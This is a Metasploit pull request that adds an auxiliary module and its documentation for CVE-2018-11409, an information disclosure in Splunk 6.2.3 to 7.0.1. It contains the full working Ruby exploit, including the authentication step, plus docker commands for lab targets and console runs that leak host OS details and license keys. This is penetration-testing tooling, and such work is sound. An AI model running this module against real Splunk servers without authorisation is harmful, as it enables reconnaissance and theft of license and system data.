Land #18635, Authenticated Splunk Info Disclosure

This PR adds a module for an authenticated Splunk information
disclosure. This module gathers information about the host
machine and the Splunk install including OS version, build,
CPU arch, Splunk licnese keys etc.

documentation/modules/auxiliary/gather/splunk_raw_server_info.md

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+## Vulnerable Application
+
+Splunk versions 6.2.3 through 7.0.1 allows information disclosure by appending
+`/__raw/services/server/info/server-info?output_mode=json` to a query.
+
+Versisons 6.6.0 through 7.0.1 require authentication.
+
+### Docker Install
+
+#### Splunk 6.5.5
+
+A vulnerable version of Splunk can be installed locally with docker:
+
+`docker run -p 8000:8000 -e "SPLUNK_PASSWORD=splunk" -e "SPLUNK_START_ARGS=--accept-license" -it --name so1 splunk/splunk:6.5.5`
+
+#### Splunk 7.1.0
+
+At startup it'll ask for a password for the system. You may need to login via the website and accept a license and restart
+the service (via website) for the instance to be exploitable. Splunk can be started via docker with:
+
+`docker run -p 8000:8000 -e "SPLUNK_START_ARGS=--accept-license" -it --name so2 splunk/splunk:7.1.0`
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use auxiliary/gather/splunk_raw_server_info`
+1. Do: `SET RHOSTS [IP]`
+1. You should receive output about the Splunk version and roles, license status, including license key info, and OS information.
+
+## Options
+
+## Scenarios
+
+### Splunk 6.5.5
+
+```
+msf6 > use auxiliary/gather/splunk_raw_server_info 
+msf6 auxiliary(gather/splunk_raw_server_info) > exploit
+[*] Running module against 127.0.0.1
+
+[+] Output saved to ~/.msf4/loot/20231220130955_default_127.0.0.1_splunk.system.st_442957.bin
+[+] Hostname: 3c7b9beb6c3c
+[+] CPU Architecture: x86_64
+[+] Operating System: Linux
+[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.3-1kali2 (2023-10-03)
+[+] OS Version: 6.5.0-kali2-amd64
+[+] Splunk Version: 6.5.5
+[+] Trial Version?: true
+[+] Splunk Forwarder?: false
+[+] Splunk Product Type: enterprise
+[+] License State: EXPIRED
+[+] License Key(s): []
+[+] Splunk Server Roles: ["indexer", "license_master"]
+[+] Splunk Server Startup Time: 2023-12-19 20:56:13
+```
+
+### Splunk 7.1.0
+
+```
+[msf](Jobs:0 Agents:0) > use auxiliary/gather/splunk_raw_server_info 
+[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set username admin
+username => admin
+[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set password splunksplunk
+password => splunksplunk
+[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set verbose true
+verbose => true
+[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > run
+[*] Running module against 127.0.0.1
+
+[+] Output saved to /root/.msf4/loot/20231220204049_default_127.0.0.1_splunk.system.st_943292.json
+[+] Hostname: 523a845e8652
+[+] CPU Architecture: x86_64
+[+] Operating System: Linux
+[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09)
+[+] OS Version: 6.5.0-kali3-amd64
+[+] Splunk Version: 7.1.0
+[+] Trial Version?: false
+[+] Splunk Forwarder?: false
+[+] Splunk Product Type: splunk
+[+] License State: OK
+[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
+[+] Splunk Server Roles: ["indexer", "license_master"]
+[+] Splunk Server Startup Time: 2023-12-21 01:40:02
+[*] Auxiliary module execution completed
+```

modules/auxiliary/gather/splunk_raw_server_info.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Splunk __raw Server Info Disclosure ',
+        'Description' => %q{
+          Splunk 6.2.3 through 7.0.1 allows information disclosure by appending
+          /__raw/services/server/info/server-info?output_mode=json to a query.
+          Versisons 6.6.0 through 7.0.1 require authentication.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [
+          'n00bhaxor', # msf module
+          'KOF2002', # original PoC
+          'h00die' # 6.6.0+
+        ],
+        'References' => [
+          [ 'EDB', '44865' ],
+          [ 'URL', 'https://web.archive.org/web/20201124061756/https://www.splunk.com/en_us/product-security/announcements-archive/SP-CAAAP5E.html'],
+          [ 'CVE', '2018-11409']
+        ],
+        'DisclosureDate' => '2018-06-08',
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [],
+          'SideEffects' => [IOC_IN_LOGS]
+        }
+      )
+    )
+    register_options(
+      [
+        Opt::RPORT(8000),
+        OptString.new('USERNAME', [ false, 'User to login with', 'admin']),
+        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
+        OptString.new('TARGETURI', [ true, 'The URI of the Splunk Application', ''])
+      ]
+    )
+  end
+
+  def authenticate
+    login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')
+
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => login_url
+    })
+
+    unless res
+      fail_with(Failure::Unreachable, 'No response received for authentication request')
+    end
+
+    cval_value = res.get_cookies.match(/cval=([^;]+)/)[1]
+
+    unless cval_value
+      fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')
+    end
+
+    auth_payload = {
+      'username' => datastore['USERNAME'],
+      'password' => datastore['PASSWORD'],
+      'cval' => cval_value,
+      'set_has_logged_in' => 'false'
+    }
+
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => login_url,
+      'keep_cookies' => true,
+      'vars_post' => auth_payload
+    })
+
+    unless res && res.code == 200
+      fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')
+    end
+
+    print_good('Successfully authenticated on the Splunk instance')
+  end
+
+  def get_contents
+    request = {
+      'uri' => normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'server', 'info', 'server-info'),
+      'keep_cookies' => true,
+      'vars_get' => {
+        'output_mode' => 'json'
+      }
+    }
+    res = send_request_cgi(request)
+
+    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
+    # 200 is <6.6.0 success, 303 is >=6.6.0 likely success but need auth first
+    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response(response code: #{res.code})") unless res.code == 200 || res.code == 303
+    res
+  end
+
+  def run
+    # on 6.2.x-6.5.x this will work as its unauth
+    res = get_contents
+    # if we hit 6.6.0 - 7.1.0 we need to auth first
+    if res.body == '{"messages":[{"type":"ERROR","text":"See Other"}]}'
+      print_status('Authentication required, logging in and re-attempting')
+      authenticate
+      res = get_contents
+    end
+
+    j = res.get_json_document
+
+    loot_path = store_loot('splunk.system.status', 'application/json', datastore['RHOST'], res.body, 'system_status.json')
+    print_good("Output saved to #{loot_path}")
+
+    print_good("Hostname: #{j['entry'][0]['content']['host_fqdn']}")
+    print_good("CPU Architecture: #{j['entry'][0]['content']['cpu_arch']}")
+    print_good("Operating System: #{j['entry'][0]['content']['os_name']}")
+    print_good("OS Build: #{j['entry'][0]['content']['os_build']}")
+    print_good("OS Version: #{j['entry'][0]['content']['os_version']}")
+    print_good("Splunk Version: #{j['generator']['version']}")
+    print_good("Trial Version?: #{j['entry'][0]['content']['isTrial']}")
+    print_good("Splunk Forwarder?: #{j['entry'][0]['content']['isForwarding']}")
+    print_good("Splunk Product Type: #{j['entry'][0]['content']['product_type']}")
+    print_good("License State: #{j['entry'][0]['content']['licenseState']}")
+    print_good("License Key\(s\): #{j['entry'][0]['content']['licenseKeys']}")
+    print_good("Splunk Server Roles: #{j['entry'][0]['content']['server_roles']}")
+    converted_time = DateTime.strptime(j['entry'][0]['content']['startup_time'].to_s, '%s').strftime('%Y-%m-%d %H:%M:%S')
+    print_good("Splunk Server Startup Time: #{converted_time}")
+  end
+end